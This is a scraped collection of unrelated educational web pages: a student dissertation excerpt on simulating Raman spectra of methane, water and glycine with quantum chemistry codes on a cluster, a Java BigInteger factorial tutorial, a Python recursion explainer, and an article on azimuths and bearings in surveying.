and Gaussian, two computational codes that performs several general chemistry calculations. We run these codes on our CPU-based high performance cluster (HPC). Through the message passing interface
(MPI), a standardized and portable message-passing system which can make the codes run in parallel, we are able to decrease the amount of time for computation and increase the sizes and capacities of
systems simulated by the codes. From our simulations, we will set up a database that allows search algorithm to quickly identify N-H and O-H bonds in different materials. Our ultimate goal is to
analyze and identify the spectra of organic matter compositions from meteorites, and compared these spectra with terrestrial biologically-produced amino acids and residues.
1.1 A Brief History of Raman Spectroscopy
2.2 Vibrational modes of a molecule
2.7 High-Performance Computing Cluster
4.3 Result of Glycine Simulation
4.4 Result of Glycine Aqueous Solution
Table 1: Optimized geometrical parameters of methane at HF with 3-21, ACCD, and Sadlef basis sets and experimental data
Table 2: Methane theoretical values and experimental results
Table 3: Optimized geometrical parameters of water at HF with 3-21, ACCD, and Sadlef basis sets and experimental data
Table 4: Water molecule theoretical values and experimental results
Table 5: Glycine molecule theoretical values and experimental results
Figure 1: Spectrum of incident light(above) and scattered light(below)
Figure 2: Stokes/Anti-Stokes bands shifted from Rayleigh lines.
Figure 3: The different possibilities of light scattering: Rayleigh scattering energy, Stokes effect and anti-stokes effect energy.
Figure 4: The Morse potential (blue) and harmonic oscillator potential (green) curve.
Figure 5: Amino acid general structure.
Figure 6: Fixed linear combination of Gaussian functions to construct GTO basis.
Figure 7: Illustration of a simulation of lysozyme-water system
Figure 8: Basic components of a HPC cluster.
Figure 9: 3-D model illustrate the structure of methane (CH4)
Figure 10: Fundamental vibrational modes of methane (CH4)
Figure 11: Unscaled simulated Raman spectrum for methane and published Raman spectrum for methane.
Figure 12: Scaled simulated Raman spectrum for methane and published Raman spectrum for methane.
Figure 13: 3-D model illustrate the structure of water (H2O)
Figure 14: Fundamental vibrational modes of water (H2O)
Figure 15: The unscaled simulated Raman spectrum and scaled simulated Raman Spectrum for water
Figure 16: Published Raman Spectrum for water range from 1400-1800cm-1 and 2800-3800cm-1
Figure 17: 3-D model illustrate the structure of water dimer (H2O-H2O)
Figure 18: Simulated Raman Spectrum for single water molecule (above) and Simulated Raman Spectrum for water dime
Figure 19: 3-D model illustrate the structure of Glycine (C2H5NO2)
Figure 20: Simulated Raman Spectrum for Glycine with different basis sets
Figure 21: Simulated Raman Spectrum with ACCD basis set and published Raman Spectrum for Glycine
Figure 22: Illustration of Glycine aqueous solution system
Figure 23: Plotting of RMSD (nm) of glycine solution respect with Time(ns)
Twenty percent of the human body is made up of protein. Protein plays a crucial role in almost all biological processes, including forming orgasmic tissues and building up enzymes to keep our body
functioning normally. Amino acids, which are the building blocks of proteins, also play a crucial role in our lives. A large amount of our cells, tissue, and muscles build by amino acids, meaning
they perform many significant important bodily functions. For example, in the human brain, glutamate and gamma-aminobutyric acids are, respectively, the main excitatory and inhibitory
neurotransmitters [1]. Therefore, the study of amino acids’ biological and chemical properties can help provide a deeper understanding of the origin of life and the production of drugs, biodegradable
plastics, and chiral catalysts.
Due to the fact that an amino acid is a small molecule, a proper tool is needed to study its properties. Raman Spectroscopy is exactly the tool to carry out this job.
In 1923, a paper titled “The quantum theory of dispersion” was published in the science journal Naturwissenschaften by the Austrian quantum physicist A. Smekal [2]. This paper theoretically predicted
the scattering of monochromatic radiation with a change in frequency of light-material interaction, later called Raman scattering. Scattering light passing through various mediums was studied after
the first prediction, but no change in wavelength was observed until 1928, when Indian scientist C.V. Raman and his coworker K.S. Krishnan first discovered this kind of inelastic scattering using a
quartz mercury vapor lamp [3]. By comparing the spectra in Figure 1 from the incident light and the scattering light, one sees several other lines in addition to the lines in the incident spectrum.
Raman and Krishnan published their finding in Nature with the title “The optical analogue of Compton effect,” and 2 years later they received the Nobel Prize in physics for their observation of light
inelastic scattering, which was named Raman scattering in honor of his contribution.
Developments in Raman spectroscopy based on the theory of Raman scattering occurred slowly during the period from 1930 to 1950, since there was no proper monochromatic radiation source. In the early
experiments during the 1930s, the mercury lamp, filtered to offer the monochromatic light, was the most common radiation source. The mercury Toronto arc lamp was introduced as the ultimate source
later in 1952 [4]. However, the intensity of the mercury arc lamp was so weak that they needed significant exposure time for the photographic receiver to create a readable Raman spectrum. The
invention of laser technology in 1960 solved this problem and provided a monochromatic source, which improved the Raman scattering intensity and shortened the time for exposure. In 1962, Porto and
Wood [5] reported the first use of a pulsed ruby laser for exciting Raman spectra. After that, Raman spectroscopy developed quickly and became a practical tool for studying vibrational information on
the molecular atomic scale in many fields.
The ultimate objective of this thesis is to utilize an advanced computational technique to simulate the Raman spectrum of inorganic and organic material as compelling data for analyzing and
identifying the organic components in an unknown sample. Since Raman spectroscopy can provide fingerprints to identify the type of molecules in the sample, it is important to understand the pattern
of Raman Spectrum for different organic materials. We start with the simplest amino acid, water and glycine, by using the General Atomic and Molecular Electronic Structure System (GAMESS) which is a
quantum chemistry computational code, on our High Performance Computing (HPC) cluster to obtain its Raman spectrum. By analyzing this spectrum, we determine some characteristic peaks that are the
fingerprint of glycine and write a search algorithm for identifying a specific kind of amino acid from its Raman spectrum. After we verify the corrective rate of our search algorithm, we set up a
database that allows search algorithm to quickly identify N-H and O-H bonds in different materials. Since Raman spectroscopy has some advantageous properties, such as its ability to be used with
solids and liquids without the preparation of a sample, it is used widely in mineral identification and characterizations of bio-molecules. If this search algorithm can satisfy the tolerance as
expected, it can be applied on a deep space explorer to analyze organic material outside the earth automatically, which can avoid the delay present in long-distance data transition.
In this chapter, we are going to introduce some basic concepts related to our topic. Since the Raman Spectroscopy is a significant tool for our study, it bases on the Raman Scattering effect. So
Raman Scattering will be the first section introduced in this chapter. For the next section, vibrational modes of a molecule will be explained. The first two sections 2.1-2.2 are the theory to
explain how Raman spectroscopy can determine the unknown matter by the spectrum. For the section 2.3, the basic chemical structure of our research objects, Amino Acids are introduced. For the next
two sections 2.4-2.5, the Hartree-Fock method for calculating the simulated Raman Spectrum is presented. In the last two sections (2.6-2.7),both the simulation software we used and the platform for
the software are introduced.
When light encounters matter, either absorption or scattering occurs. Infrared spectroscopy based on the absorption process, and the Raman Spectroscopy based on the scattering process.
The process of absorption requires the energy of the incident radiation to be exactly equal to the energy difference between the ground state and the excited state of a molecule. After the molecule
absorbs the energy from the incident light, the electron in the ground state jumps to the excited state. Therefore, the spectrum of transmitted light will have some frequency bands are missing. The
frequency of the missing band equals to the vibrational frequency of the molecule. By plotting out the intensity of the transmitted light in terms of frequency, one can get the IR spectrum and
identify specific chemical groups within the molecule.
In contrast, scattering does not require the incident radiation to match the energy difference between the ground and excited states. As a light wave, considered an oscillating dipole, passes through
the molecule, it interacts and distorts the clouds of electrons orbiting the nuclei. Energy is released in the form of scattered radiation. Since the wavelength of visible light is much greater than
the size of a common molecule, when the light wave interacts with the molecule the oscillating dipole polarizes the electrons and excites the molecule to a higher energy state called a “visual
state.” This transformation acts in a short time; unlike electrons, which have a smaller mass, the nuclei do not have time to respond. This process results in the molecule reaching a high-energy
state by changing the electron geometry without moving the nuclei. Since these high-energy-state electrons are unstable and cannot last for a long time, they drop back to their ground state and
release photons in random directions. This release light is called scattering radiation.
There are two types of scattering: Rayleigh and Raman scattering.
When a photon interacts with a molecule, the energy from the incident radiation is transferred to the molecule and distorts the distribution of the electron cloud. Electrons are excited to a state
called the “virtual state,” where the lifetime is short. Then, the electrons drop back to the ground state and radiate light with the same frequency as the incident light and with random direction.
This elastic process is called Rayleigh scattering, with the characteristic that the frequency of the scattering light is the same as that of the incident light, but its direction is random. Compared
with the other type of scattering, Rayleigh scattering is the most intense scattering one can observe. In Figure 2, the green line in the middle is the Rayleigh line.
Figure 3: The different energy states of light scattering: Rayleigh scattering, Stokes effect and anti-Stokes effect.
On the other hand, if the frequency of the scattering light is different from that of the incident light, this inelastic process is called Raman scattering. If the scattering frequency is higher than
the incident frequency, it is the Stoke effect. If the scattering frequency is lower than the incident frequency, it is the anti-Stoke effect.
Due to thermal energy, some molecules at room temperature are initially in a higher state (such as in the first excited vibrational state, colored brown in Figure 4. After being promoted by the
incident light to the “visual state” where they cannot stay for a long time, the electrons go back to the ground state and emit light with a frequency higher than that of the original light. This
means that during this process, the energy in the molecule transfers to the scattering light.
The opposite with Stoke effect is the anti-Stoke effect. A molecule starts from the ground state and ends in a higher state. During this interaction, energy flows from the light to the molecule,
which causes the frequency of the scattering light to be lower than that of its incident light.
The energy difference between the incident light and the scattering light is equal to the vibrational energy of the molecule. So by measuring this frequency shift, one knows the vibrational frequency
of a molecule. This is the basic theory behind Raman spectroscopy. Since different chemical bonds in a molecule correspond to a variety of frequency shifts, by assigning and identifying different
peaks from the Raman spectrum of an unknown molecule, one can deduce the structure and the chemical group of this molecule and categorize it.
From the thermal statistics perspective, the number of particles at different energy states of a molecule at room temperature should correspond with the Maxwell-Boltzmann distribution. The rate of
the excited state and the ground state is shown below:
In equation 1.1,
Nnis the number of molecules on the excited vibrational energy level,
Nmis the number of molecules on the ground vibrational energy level, g is the degeneracy of levels n and m,
En-Emrepresents the energy difference between n and m, and k is Boltzmann’s constant.
At normal temperature, the number of molecules in the ground state is much more than in the excited state. Thus, the peak of Stoke scattering in the spectrum is higher than that of anti-Stoke
scattering. Therefore, spectroscopists usually choose the frequency shift to the Stoke line to create the Raman spectrum. In Figure 2, the x-axis represents the frequency shift from incident
frequency, with wavenumber cm^-1 as a unit. The y-axis shows the intensity of the scattering rate. The frequency region from 500 to 1640 cm^-1 is usually referred to as the fingerprint region; thus
most bonds for organic material show their characteristic frequency lines in this region.
A molecule is made up of numbers of atoms forming chemical bonds. These chemical bonds may result from the electrostatic force of attraction between atoms with opposite charges or through the sharing
of electrons, as in covalent bonds. If one looks into an atom, a nucleus is surrounded by an electron cloud. These electrons form the different vibrational and rotational states of the molecule.
Figure 4: The Morse potential (blue) curve and the harmonic oscillator potential (green) curve.
Figure 4 shows a sketch of a typical electronic state of a diatomic molecule. (A diatomic molecule is a molecule that only has two atoms—of the same or different molecule elements. The most common
diatomic molecules are hydrogen [H[2]] and oxygen [O[2]], which are said to be homonuclear. Otherwise, if a diatomic molecule consists of two different atoms, such as carbon monoxide [CO] or nitric
oxide [NO], the molecule is said to be heteronuclear [6]. The blue line of the plot, called a Morse curve, provides an institutional view of the state of the molecule. The y-axis represents the
potential energy of the molecule system, and the x-axis is the separated distance between two nucleuses. The blue line represents the electronic state. When the distance between two nuclei increases,
each atom is essentially free, so the system energy approaches a fixed value. As the distance decreases, two atoms attract each other and the repulsive forces increase at a rate much slower than the
decreased rate of attraction. At some point, where the attraction and the repulsion reach a balance, the system energy reaches its lowest point. If these atoms keep getting closer and closer, the
system energy rises steeply, while the nucleus-nucleus repulsion starts to increase rapidly over the course of the attraction. The point where the repulsion force equals the attraction is the
position where the molecule system forms a chemical bond. However, not every energy state in the curve is possible for the system to stay. Based on the quantum mechanics, as the nuclei constantly
oscillate around the equilibrium position between the “potential walls” of Morse potential, the energy of this vibration is quantized and described by a series of vibrational wavefunctions with their
quantum numbers (v = 0, 1, 2, …). And among this vibrational state, the ground state (v = 0) is the lowest possible energy a molecule can have. At room temperature, the majority of molecules are in
the lowest-energy vibrational state, but not all of them; there are still a small number of molecules that occupy the higher vibrational state. In statistics, the probability distribution of the
molecules in each state can be calculated by the Maxwell-Boltzmann function.
Since the vibrational energy at the bottom of the molecule resembles that of the harmonic oscillator, one can treat the chemical bonds approximately as springs connecting nuclei obeying Hooke’s Law.
The top of Figure 4 shows a model of this approach. Each ball, labeled A or B, is linked by a spring. With this approach, by applying Hooke’s Law, the relationship of the vibrations between
frequencies, the mass of vibrational atoms and the force constant can be found for a diatomic molecule:
In equation 1.2, c is the velocity of light,
vis the oscillating frequency of the system, K is the force constant of the bond between atom A and B, and
μis the reduced mass of atoms A and B, given by equation 1.3:
MBrepresents the mass of atoms A and B.
In such a model, the energy of each state can be represented by the following equation:
According to the equation 1.4, υ = 0 1 2 …, and the vibrational energy of the molecule system can be quantized. From equations 1.1 and 1.2, one can see that the lighter the atoms, the higher the
frequency. Thus, a C-H bond vibration’s frequency around 9
×10^8 Hz is higher than that of a C-I vibration at 1.5
×10^8Hz (
μI). On the other hand, the force constant can be treated as the strength of the spring (chemical bond). The stronger the bond, the higher the frequency.
This approximation provides visualization for a vibrational energy state, but one should be aware that this approximation is not entirely the same as in a real diatomic molecule’s energy state.
In equation 1.4, by calculating the energy difference between
υ+1, the gap between energy levels of the harmonic oscillator is evenly spaced. However, the real bond subject to the Morse curve–quantized energy state is lower than the one of the harmonic
oscillator, and the space for each energy state becomes smaller as the frequency (ω) increases.
[2]), a carboxyl group (-COOH), a side chain (side group), and a hydrogen atom. All these groups connect to a single carbon atom at the center of the molecule, as shown in Figure 5. There are 20
different kinds of amino acids on earth. Each amino acid has a special side group that shows different chemical properties and has special peak patterns in the Raman spectrum. For example, the
simplest amino acid, glycine, whose side group is a hydrogen atom, shows strong-intensity bands located at 894 cm^-1 and 1,327 cm^-1 in a solid state. These bands can be considered the fingerprint
pattern of glycine.
The Hartree-Fock (HF) method is an approximation based on the hope that we can approximately describe an interacting fermion system in terms of an effective single-particle problem. The HF theory was
developed to solve the electronic Schrodinger equation that results from the time-dependent Schrodinger equation after including the Born-Oppenheimer approximation. In atomic units, with r defining
electron position and R defining nuclear degrees of freedom, the electronic Schrodinger equation is
In order to make equation 1.5 clearly, we simplify it.
We define a one-electron operator
has follows,
and a two-electron operator
vi,jas follows:
Now, we can write the electronic Hamiltonian and the electronic Schrodinger equation much more simply, as:
V[NN],which represents the inter-nucleus potential energy, is missing above. Since it is just a constant for the fixed set of nuclear coordinates, we ignore it. So our electronic Schrodinger equation
The essential idea of the HF theory is based on the following. We have already known the way to solve the electronic Schrodinger equation for hydrogen, which has only one electron. If we add one more
electron to the hydrogen system, and assume that each electron don’t interact with the other, we can make an assumption that the total electronic wavefunction
So if we expand the two-electron system to a multi-electron system, our wavefunction is represented as:
is defined as the spin orbital of the number N electron.
But apparently, this assumption fails to satisfy the antisymmetry principle. Antisymmetry principle states that if any set of space-spin coordinates of a wavefunction describing fermions interchange,
this wavefunction should be antisymmetric. Therefore, we need to introduce Slater Determinants.
A Slater Determinant is a determinant of spin orbitals as shown below:
This form satisfies the antisymmetry requirement for any orbitals. The Slater Dterminant is a more sophisticated statement of the Pauli Exclusion Principle.
Now that we have a form for the wavefunction and a simplified notation for the Hamiltonian, we can start to calculate the molecular orbitals.
First, the energy of this N-body system is given by the usual quantum mechanical expression:
For symmetric energy expressions, we can use the variational theorem. Variational theorem states that the energy is always larger to the true energy. Therefore, we can have better approximate
Ѱwithin the functional space by changing their parameters until we minimize the energy. Hence, the correct molecular orbitals are those that minimize the electronic energy E[el.]The molecular
orbitals can be expanded as a linear combination of a set of given basis functions and named the “atomic orbital” basis set.
Now, we rewrite the HF energy E[el] in terms of integrals of the one- and two-electron operators:
where the first term is the one-electron integral:
and a two-electron integral is
In the next step, we minimize the HF energy expression with respect to changes in the orbitals
χi→χi+δχi. We set
δEHFχi=0to try to get the minimum energy value with respect to a small change to
χi, and working through some algebra, we eventually arrive at the HF equations defining the orbitals:
ϵiis the energy eigenvalue associated with orbital
The HF equations can be solved numerically. From this equation, we can see that the solutions
ϵiactually depend on the orbitals; therefore, we cannot solve this equation directly. Instead, we have to guess some initial orbitals and iterative refine our guesses through the HF method until it
reaches the setting criterion. For this reason, HF is called a self-consistent-field (SCF) approach.
A basis set in the computational simulation is a set of functions (also called “basis functions”) that consists in linear combinations to represent molecular orbitals. These functions can be
theoretically any types, but most of them are typically atomic orbitals centered on atoms but can be any function.
By using molecular orbitals, we can construct wavefunctions for the electronic states to describe the electronic states of molecules.For mathematical representation, a function for a molecular
orbital is constructed as below:
is a linear combination of other functions, and
φjprovides the basis for representing the molecular orbital.
The ultimate goal for scientists is to create a description of electrons in molecules that enables chemists and other scientists to develop a deeper understanding of chemical bonding and reactivity
in order to calculate the properties of a multi-body system.
In present-day computational chemistry, quantum chemical calculations are usually performed using a finite set of basis functions. For a molecular simulation, parameters of the basis functions and
the coefficients in a linear combination can be optimized in terms of the Variational Theorem to produce a SCF for the electrons. According to the Variational Theorem, the calculated energy is always
higher than true energy. Therefore, the ground-state energy calculated is minimized is called optimization with respect to the changing in the parameters and coefficients defining the function. As a
result, if we can find the coefficients with the lowest energy of the wave function, we can get the closest value to the ground-state energy.
Depending on the different basis functions used to combine the wavefunctions, there are serval types of basis sets. I provide three basis sets as an example below.
The first type is called a Gaussian Orbital, which consists of a set of Gaussian functions representing the atomic orbital of a molecule. The computation of the integrals is greatly simplified by
using Gaussian-type orbitals (GTOs) for the basis functions.
A Gaussian basis function has the form shown in Equation 1.17.
Note that in all the basis sets, only the radial part of the orbital changes, and the spherical harmonic functions are used in all of them to describe the angular part of the orbital.
Figure 6: Fixed linear combination of Gaussian functions to construct GTO basis.
As shown in Figure 6, GTO basis sets are constructed from fixed linear combinations of Gaussian functions. The abbreviations of Gaussian basis sets are identified in a way like N-MPG*. N indicates
the number of Gaussian primitives used for each inner-shell orbital. M denotes the number of primitives that form the large zeta function (for the inner valence region). P indicates the number that
forms the small zeta function (for the outer valence region). G represents the set is Gaussian. An asterisk at the end means that it included a single set of Gaussian 3d polarization functions.
For example, 3-21G means each inner shell is a linear combination of six primitives, and each valence shell is constructed with two sizes of basis function (Two GTOs for contracted valence orbitals;
One GTO for extended valence orbitals). Accordingly, there are total of nine functions in a 3-21G basis set.
The second type of basis set is aug-cc-pvdz, also called ACCD. These are Dunning’s correlation-consistent basis sets, introduced by T.H. Dunning [7, 8]. They have had redundant functions removed and
have been rotated in order to increase computational efficiency.
Polarized basis sets (POLs) were developed by Sadlej et al. [9, 10]. They were designed to improve the calculation of first- and second-order molecular properties. They consist of a standard
double-zeta GTO basis with a set of extra functions derived from derivatives of the outer valence function of the original set.
2.6.1 GAMESS
Quantum chemistry computer codes are used in computational chemistry to implement the methods of Quantum Chemistry. Most of these programs include the HF method and some post-HF methods. Some of them
might use density functional theory (DFT), molecular mechanics (MD), or semi-empirical quantum chemistry methods. The programs include both open-source and commercial software. Most of them are
large, often containing several separate programs, and have been developed over many years.
The open-source softwareGAMESS [11, 12] is famous for general ab initio Quantum Chemistry computation. Briefly, GAMESS can compute SCF wavefunctions from RHF, ROHF, UHF, GVB, and MCSCF. Correlation
corrections to these SCF wavefunctions include second-order perturbation theory, configuration interaction, and coupled-cluster approaches, in addition to the DFT approximation. There are also some
procedures can compute excited states such as CI, EOM, or TD-DFT. During the automatic geometry optimization, transition state searches, or the reaction path following, the nuclear gradients are
available. The prediction of vibrational frequencies of IR or Raman intensity can perform by the computation of Hessian energy. Numerous relativistic computations including infinite-order
two-component scalar relativity corrections, with various spin-orbit coupling options, are available. The large systems can be calculated by the Fragment Molecular Orbital Method which use of many of
these sophisticated treatments.
A variety of molecular properties, such as simple dipole moments and frequency-dependent hyperpolarizabilities may be computed. The entire periodic table can be considered, because of many basis sets
are stored internally, along with effective core potentials or model core potentials.
By using GAMESS for calculating the polarizabilities of a molecule, we can perdict its Raman spectrum.
2.6.2 GAUSSIAN
The other powerful quantum computational software is called GAUSSIAN. Right now, the latest version of GAUSSIAN is Gaussian 16. As the most widespread commercial quantum computational software,
Gaussian 16 have a wide-ranging suite of the most advanced modeling capabilities. It can be used to investigate real-world chemical problems in all of their complexity, even on modest computer
hardware. Gaussian 16 predicts the energies, molecular structures, vibrational frequencies, and molecular properties of compounds and reactions in a wide variety of chemical environments by starting
from the fundamental laws of quantum mechanics. Any stable species and compounds that are difficult or impossible to observe experimentally process whether due to their nature (e.g., toxicity,
combustibility, or radioactivity) or the inherently fleeting nature (e.g., short-lived intermediates and transition structures), Gaussian 16 can be applied. Besides the functions mentioned above,
Gaussian 16 can predict a variety of spectra in both the gas phase and in solution, including IR and Raman, and spin-spin coupling constants, and resonance Raman. It can also perform an anharmonic
analysis for IR, Raman, VCD, and ROA spectra.
2.6.3 GROMACS
The last computational simulation software I want to introduce mainly performs molecular dynamics. It is called GROningen MAchine for Chemical Simulations (GROMACS), and it is a multipurpose package
used to perform molecular dynamics. Molecular dynamics is a model to simulate the motion for systems with hundreds to millions of particles by utilizing the Newtonian equations. It is primarily
designed for biochemical molecules like nucleic acids, lipids, and proteins that have many complicated chemical bonded interactions. However, since GROMACS is extremely fast at calculating non-bonded
interactions (which usually dominate simulations), many scientists also use it for research on non-biological systems, e.g. polymers. GROMACS also supports all the usual algorithms one expects from a
modern molecular dynamics implementation. Its code can be run in parallel computation, using either the standard MPI communication protocol, or via “Thread MPI” library for single-node workstations.
The software includes a fully automated topology builder which can build the structure of proteins and even multimeric structures. The building blocks are available for the 20 standard and some
modified amino acid residues, the four nucleotide and four deoxynucleotide residues, several sugars and lipids, and some special groups and several small molecules.
In Figure 7 below, a lysozyme in water’s molecular dynamics is simulated by MD method using GROMACS. The molecule in green and yellow at the center of the box is the lysozyme molecule, and the small
blue triangles represent the water molecules. This process simulates the evolution of a lysozyme molecule interacting with water molecules over the duration of 1 ns.
Figure 7: Illustration of a simulation of lysozyme-water system
Due to the fact that simulation of biological molecules involved enormous data, need to consume significant large computational sources. The single personal computer cannot provide enormous
computational sources. In order to run the molecular simulation, we need to found another powerful platform to support it. The HPC cluster is a kind of computer which can provide us powerful
computational abilities. It consists of hundreds to tens of thousands multi-core processors. It allows scientists and engineers to solve complex science, engineering, and business problems using code
that requires high-bandwidth networking and very high computing capabilities. A HPC cluster consists of many cores and processors, large amounts of memory, high-speed interprocessor communication
networking, and large data stores—all shared across many rack-mounted servers. Due to these characteristics, a HPC cluster is usually used to run computationally intense tasks such as the simulation
of physical phenomena for studying climate change and galaxy formation.
Figure 8 shows the architecture of a HPC cluster with 32 nodes. As we can see, there are several parts. First, clients can remotely log in to the cluster through the network switch. Once they log in
to the cluster, they can send a task to the head node, whose main function is to distribute the task to several jobs and ask the job node to do the computation. During the computation, data are
stored in the storage node, and once the task is done, the result is sent to the head node; the client can download the results from the head node. This is the processes for utilizing the HPC
Cite This Work
To export a reference to this article please select a referencing stye below:
Reference Copied to Clipboard.
Reference Copied to Clipboard.
Reference Copied to Clipboard.
Reference Copied to Clipboard.
Reference Copied to Clipboard.
Reference Copied to Clipboard.
Reference Copied to Clipboard.
Content relating to: "Organic Chemistry"
Organic chemistry is a branch of chemistry that studies the chemical composition, properties, and reactions of organic compounds that contain carbon.
Related Articles
DMCA / Removal Request
If you are the original writer of this dissertation and no longer wish to have your work published on the UKDiss.com website then please: | {"url":"https://ukdiss.com/examples/raman-spectral-analysis-of-organic-molecules.php","timestamp":"2024-11-03T09:17:12Z","content_type":"text/html","content_length":"99775","record_id":"<urn:uuid:45e0942b-637d-40a2-8209-1e24f2d2ada8>","cc-path":"CC-MAIN-2024-46/segments/1730477027774.6/warc/CC-MAIN-20241103083929-20241103113929-00638.warc.gz"} |
Java Program to find Factorial of a Number using BigInteger - The Coding Shala
Java Programs
>> Factorial Program using BigInteger
In this post, we will learn how to find Factorial of a Number using BigInteger in Java.
Java Program to find Factorial of a Number using BigInteger
We use int or long to store the result of factorial but long is also not enough to store the value of factorial of larger numbers, let's say n = 100 so in Java, we use BigInteger to store the
factorial of large numbers.
Example 1:
Input: 30
Output: 265252859812191058636308480000000
Java Program:
// Java program to Find Factorial using BigInteger
import java.util.Scanner;
import java.math.BigInteger;
public class Main {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
// take number input
System.out.println("Enter the number");
BigInteger num = sc.nextBigInteger();
BigInteger fact = BigInteger.ONE;
BigInteger i = BigInteger.ONE;
// calculate factorial
while(i.compareTo(num) <= 0) {
fact = fact.multiply(i);
i = i.add(BigInteger.ONE);
System.out.println("Factorial of " + num + " is: " + fact);
Enter the number
Factorial of 30 is: 265252859812191058636308480000000
Other Posts You May Like Please leave a comment below if you like this post or found some errors, it will help me to improve my content. | {"url":"https://www.thecodingshala.com/2021/05/java-program-to-find-factorial-of-number-using-biginteger.html","timestamp":"2024-11-11T18:13:49Z","content_type":"application/xhtml+xml","content_length":"129979","record_id":"<urn:uuid:eae7f860-0b19-4d40-9683-5c0aafca72db>","cc-path":"CC-MAIN-2024-46/segments/1730477028235.99/warc/CC-MAIN-20241111155008-20241111185008-00085.warc.gz"} |
"To understand recursion, one must first understand recursion." - Stephen Hawking
Hello Everyone ๐ ๐ ปโ โ ๏ธ ,
In this article, we will take a look at recursion in python. The purpose of this article is not about analyzing the complexity or which approach is better (iterative or recursive). As many searches,
sort, and traversal programs use recursion as their solution, it becomes important to understand the basics of recursion prior to getting into the DSA.
Recursion as the name says is a way in which a function recursively calls itself directly or indirectly. While you intend to write recursion, you have to be very careful as the function calls can get
into infinite loops. However, there is a default upper limit set for the number of recursion calls, beyond which the program runs into stack overflow or runtime error. A recursion algorithm has two
cases, the recursive case, and the base case. Recursion is terminated once the base case is recognized. Generally, the base case output is already known so we can directly return the value when this
case is encountered.
With recursion, you can break complex problems into similar smaller ones. Also, the code is more readable than the iterative approach. Recursion is slower than iteration as it has to maintain the
stack and uses more memory.
The greet() function calls itself recursively, if you call the function and run this code, it will result in an infinite loop that would print "hello" as output as there is no base case in the
function to terminate the recursion. However, in python, you can encounter the RecursionError once the upper limit of the recursion call is reached.
You can get or set the recursion limit in python using the sys module, to do so execute the following code in your python terminal,
import sys
# fetch the recursion upper limit
# ouput: 1000
# if you intend to change the upper limit, you can do so by executing
That's it for the basic understanding of recursion.
Now, let's see an example for finding the factorial of a number using recursion.
Factorial of a number is a product of all positive numbers smaller than or equal to the number. It is represented by using exclamation after the number. Also, remember that the Factorial of 0 is
1 (0!=1).
def factorial(number):
The base case here is when the number becomes 0, we already know 0! = 1
we can directly return 1 once the base case is reached.
if number == 0:
return 1
return number * factorial(number-1)
Visualize the factorial recursion code below by clicking the next option
You can observe, the factorial function calls itself with a number decremented by 1, once it reaches the base-case the recursion stops and starts returning the value for each function call until it
reaches the actual call factorial(4) and returns the value 24.
I hope this article, helps you understand the basics of recursion. As an exercise, you can try implementing the fibonacci series using python and visualize the code on pythontutor.
Thanks for reading ๐ ๐ ปโ โ ๏ธ
hackerearth.com/practice/basic-programming/.. everythingcomputerscience.com/discrete_math.. | {"url":"https://sandeshdaundkar.com/recursion","timestamp":"2024-11-08T01:29:19Z","content_type":"text/html","content_length":"119760","record_id":"<urn:uuid:3d76a962-013a-437d-afec-dee78d70f528>","cc-path":"CC-MAIN-2024-46/segments/1730477028019.71/warc/CC-MAIN-20241108003811-20241108033811-00366.warc.gz"} |
What are Azimuths and Bearings in Surveying? - Civil Stuff
What are Azimuths and Bearings in Surveying?
What are Azimuths and Bearings in Surveying? Azimuths and Bearings in Surveying Comparison
What are Azimuths and Bearing?
Azimuths and bearings are horizontal angles that are used to depict or locate a line in relation to a meridian. The importance of azimuth and bearing in surveying, as well as their comparison, is
outlined briefly here.
Azimuth in Surveying
Azimuths are horizontal angles measured clockwise from a meridian. Azimuths are often measured from north to south in plane surveying, however, astronomers and the military have chosen south as the
reference direction.
Azimuths can also be described as horizontal angles measured in the clockwise direction from the reference meridian. Azimuths are sometimes referred to as a Whole Circle Bearing system (W.C.B).
It is generally recommended to declare the reference meridian before beginning surveying operations to avoid future confusions.
Forward azimuth indicates the line’s forward direction, whereas backward azimuth indicates the line’s backward direction. By adding or subtracting 180 degrees, the front azimuth may be transformed to
the reverse azimuth.
Azimuth is used in border, control, and topographic surveys, among other things. Azimuths are also used in compass surveying and plane surveying, and are typically measured from the north. Azimuths
are measured from the south in astronomy and the military.
The azimuths can be geodetic, astronomic, assumed, recorded, or magnetic in nature, depending on the meridian used.
After a complete station instrument has been properly oriented, azimuths may be read directly on the graduated circle.
This is accomplished by sighting along a known azimuth line with that value indexed on the circle, then rotating to the desired path. Azimuths are used in boundary, topographic, control, and other
types of surveys, as well as calculations.
Bearings Surveying
Bearing is defined as the acute angle formed by measuring the reference meridian from the specified line. The line is measured from north or south to east or west, yielding an angle less than 360
degrees. N or S is used to express the angle, followed by the angle value and E or W direction.
Bearings are yet another way for indicating the direction of a line. A correctly stated bearing comprises quadrant letters as well as an angular value.
Geodetic bearings are taken from the geodetic meridian, astronomical bearings from the local astronomic meridian, magnetic bearings from the local magnetic meridian, grid bearings from the suitable
grid meridian, and assumed bearings from an arbitrarily chosen meridian.
In the field, the magnetic meridian may be acquired by examining the needle of a compass and used in conjunction with observed angles to compute magnetic bearings.
A magnetic bearing is measured from the local magnetic meridian, a grid bearing from an appropriate grid meridian, assumed bearings from an arbitrary meridian, a geodetic bearing from a geodetic
meridian, and an astronomic bearing from an astronomic meridian.
Observing the needle of the compass yields the magnetic meridian.
Distinction between Azimuths And Bearings.
Azimuths Surveying Vs Bearings Surveying: Definitions
Azimuths are horizontal angles measured in the clockwise direction from the reference meridian. Azimuths are sometimes referred to as a Whole circle Bearing System (W.C.B).
Bearing is defined as the acute angle formed by measuring the reference meridian from the specified line. The line is measured from north or south to east or west, yielding an angle less than 360
Azimuth Surveying vs Bearing Surveying: Azimuth Correction Method Surveying
A technique for adjusting the azimuth in surveying:
1. A method for rectifying the azimuth error of an electronic compass is revealed.
Measure the declination value corresponding to a preset azimuth angle while spinning the electronic compass 360 degrees.
1. To suit the measured declination value, use a sine function.
2. Offset, amplitude, and azimuth modifications are applied to the presented sinusoidal function.
3. Exhibit a sinusoidal function.
Surveying Bearings: A method of correcting a bearing in surveying.
There are two approaches for correcting the bearing that has been influenced by local attraction:
1. Included Angle Method- The traverse’s incorporated angles are determined first, followed by the traverse’s right bearings, which are determined to employ the included angles again beginning from
the unaltered line.
2. Method of Error Computation-The direction and number of local attractions are calculated at each survey point. The corrected bearing of the traverse is derived by starting with a line that is not
impacted by local attraction. This method is more precise than the previously mentioned angle method. The majority of surveyors utilize it.
Azimuth Surveying vs Bearing Surveying: Surveying Azimuth Types
Surveying Azimuths
Depending on the meridian used, azimuths might be geodetic, astronomic, inferred, recorded, or magnetic in nature.
